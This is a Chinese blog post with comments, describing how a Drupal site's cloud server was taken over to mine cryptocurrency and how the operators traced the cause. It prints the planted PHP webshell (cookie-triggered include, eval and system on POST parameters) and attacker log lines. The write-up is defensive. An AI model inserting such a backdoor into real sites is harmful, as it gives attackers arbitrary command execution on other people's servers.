当前位置

Drupal用的阿里云服务器被黑客入侵用于比特币挖矿

James Qi 在 2017年11月14日 - 17:10 提交
内容摘要:9月份就发现我们放置Drupal网站的阿里云服务器上出现了几个奇怪的进程,每个进程都占用几乎一个单独CPU核心的100%,一台8核服务器上可能同时出现几个这样的进程,导致服务器负载升高、用户访问变慢。......

  9月份就发现我们放置Drupal网站的阿里云服务器上出现了几个奇怪的进程,每个进程都占用几乎一个单独CPU核心的100%,一台8核服务器上可能同时出现几个这样的进程,导致服务器负载升高、用户访问变慢。和同事一起查了查,居然是被黑客入侵用户比特币挖矿!同时阿里云的安全系统也给我们发来了警告提醒消息。

top - 17:43:03 up 26 days,  6:15,  5 users,  load average: 9.76, 9.98, 10.22
Tasks: 296 total,   8 running, 288 sleeping,   0 stopped,   0 zombie
Cpu(s): 97.6%us,  1.5%sy,  0.0%ni, 0.6%id,  0.1%wa,  0.0%hi,  0.3%si,  0.1%st
Mem:  16330624k total,  7198784k used,  9131840k free,   191512k buffers
Swap:  8388604k total,        0k used,  8388604k free,  1969652k cached

  PID USER      PR  NI  VIRT  RES  SHR S %CPU %MEM    TIME+  COMMAND
10573 apache    20   0  514m  80m  48m S  98.6  0.5   1:03.23 MXAW
10851 apache    20   0  514m  77m  47m S  98.6  0.5   1:01.95 MXAW
10578 apache    20   0  514m  80m  49m S  98.3  0.5   1:02.88 MXAW
10587 apache    20   0  507m  72m  48m S  98.3  0.5   1:03.53 MXAW
 9624 apache    20   0  515m  82m  50m S  8.0  0.5   0:07.47 httpd
 8456 apache    20   0  516m  86m  53m S  7.3  0.5   0:10.48 httpd
 9795 apache    20   0  505m  71m  49m S  6.3  0.4   0:05.77 httpd

  我们很多年前使用Windows服务器,在安全方面总是不太放心。后来改用Linux基本上就没有遇到特别的安全问题了,没想到现在居然被别人放置了可执行文件在里面。但这个黑客比较狡猾,进程杀死后会定时自动重启启动,我们再找到进程执行的文件,去把文件也删除,但不久又会出现新的可执行文件。

  同事经过查找资料、反复检查,发现这些挖矿程序需要与黑客远程的服务器交换数据,是一个拉脱维亚的IP地址,我们在服务器的IP Table里面进行了封堵,这样挖矿程序就失去了作用。这样虽然不能从根本解决这个问题,但至少让我们缓了一个月。在10月份再次发现挖矿进程,查明是更换了另外一个拉脱维亚的IP地址,我们再次封堵。但依然查不出来根源。

  前几天服务器又出现了挖矿进程,这次用IP Table封堵IP也不行了,虽然apache报错日志(error.log)里面看到大量无法连接服务器的报错,但这种挖矿进程还是反复自动被启用,耗费我们服务器的CPU资源。

[2017-11-14 00:48:18] Stratum connection failed: connect() timed out!
[2017-11-14 00:48:18] ...retry after 10 seconds

  只好和同事一起再在Google里面搜索一些英文资料,只用百度查不出来什么有用的中文资料,国内使用Drupal的网站也不算多。基本确定是一种webshell的木马攻击方式,用远程web访问来触发启动服务器上的挖矿程序。我们虽然封堵了挖矿程序与黑客服务器的沟通,但没有查找到木马源头,无法从根本上阻止。

  再检查apache访问日志(access.log),发现一个乌克兰IP地址每隔一个小时来访问一次被攻击的网站,POST数据到一个php页面,但这个页面并不存在,日志中也是404 Not Found:

193.106.30.99 - - [14/Nov/2017:00:00:16 +0800] port:443 "example.com" "POST /writebab.php HTTP/1.1" 404 29 "-" "Mozilla/5.0 (Windows NT 6.1; rv:34.0) Gecko/20100101 Firefox/34.0"
193.106.30.99 - - [14/Nov/2017:01:00:21 +0800] port:443 "example.com" "POST /writebab.php HTTP/1.1" 404 29 "-" "Mozilla/5.0 (Windows NT 6.1; rv:34.0) Gecko/20100101 Firefox/34.0"
193.106.30.99 - - [14/Nov/2017:02:00:09 +0800] port:443 "example.com" "POST /writebab.php HTTP/1.1" 404 29 "-" "Mozilla/5.0 (Windows NT 6.1; rv:34.0) Gecko/20100101 Firefox/34.0"
193.106.30.99 - - [14/Nov/2017:03:00:15 +0800] port:443 "example.com" "POST /writebab.php HTTP/1.1" 404 29 "-" "Mozilla/5.0 (Windows NT 6.1; rv:34.0) Gecko/20100101 Firefox/34.0"

  这就奇怪了,页面本身不存在却能够触发某种可执行程序,那也许在这个页面内容以外、而在网站框架中某个地方。我们可以把这个乌克兰的IP也屏蔽起来,实际看到就无法触发我们服务器上的挖矿程序了,但这也不是根本办法,对方可以换IP继续来触发。

  再查了一些Drupal方面安全资料,安装了Hacked!、Security Review、Drupalgeddon、Site Audit等来排查,没有找到本修改的Drupal文件。后来想到可能是SQL注入,一般我们自己使用php代码的地方可能有node页面、block区块、views查询等几个地方,就逐个排查,发现Block里面有个Footer content,内容很可疑:

<?php 
        error_reporting(0);
        if ($_COOKIE['i'] == 'path'){
        $dir=getcwd().'/sites/default/files/plugins.php';
        include($dir);
        }
        @eval($_POST['cmd']);
        @system($_POST['cmds']);
        ?>

  明显不是我们自己编写的,而是接收某种POST访问,并用@eval执行POST上来的任意命令,极有可能这就是木马源头!于是我们把这个Block禁用掉。再去把那个乌克兰IP解封,整点的时候观察这个IP又来访问不存在的页面、POST数据,但却没有能再启动挖矿程序了。

  到此基本上应该是找到了源头并进行了封堵,不过还要继续观察看看黑客是否还有另外的什么招数。另外,Drupal的安全设置方面还有一些需要了解、尝试,不应该能让web访问在我们服务器上保存可指向的挖矿文件,还有其它一些可能的漏洞,例如定时程序等,也需要继续观察、排查。

评论

-- 发自IP地址: 43.227.137.247 (位置 | 谁是)

Drupal,Wordpress, Joomla,用起来总是有安全方面的顾虑。
看来还是纯静态页面安全性高,Web服务器只装一个Nginx就可以了,Mysql、PHP都不装。前后台分离,后台生成静态Html实时同步到Web前台服务器。
个人想法,见笑!

-- 发自IP地址: 119.98.175.14 (位置 | 谁是)

你说的只把纯静态HTML暴露在外网当然要安全多了,只是看网站的功能是否满足,我们的网站因为页面数量太多,有些也需要经常进行一些调整,所以还是采取的动态生成的办法。各种网站对于技术的需求不同,没有统一的标准,你说的前后台分离的办法也很好。

James Qi / 祁劲松

-- 发自IP地址: 43.227.137.247 (位置 | 谁是)

是的,技术服务于自身的实际需求。
前后台分离,适合纯资讯类的站点。搜索用Google的CSE,评论用Facebook的社交插件,等等第三方服务很多。
查询类的还是离不开数据库。不过工具类的随着API的不断成熟,单页应用的技术不断完善,纯静态化的单页工具调用API已经很不错了,也很安全。

-- 发自IP地址: 43.227.137.247 (位置 | 谁是)

我是您的读者,后学末进,请多指教。
从第一次做firefox浏览器下载推广开始,入Google Adsense的坑已经很多年了。
好多人放弃了,转型了。从兼职站长到专职站长,自己仍在坚持中。
从祁老师的书和博客学到很多,会经常过来学习的!

添加新评论

Plain text

  • 不允许使用HTML标签。
  • 自动将网址与电子邮件地址转变为链接。
  • 自动断行和分段。
验证码
本问题用于测试您是否为人类访问者,避免自动垃圾发贴。
图形验证
键入显示在图片中的字符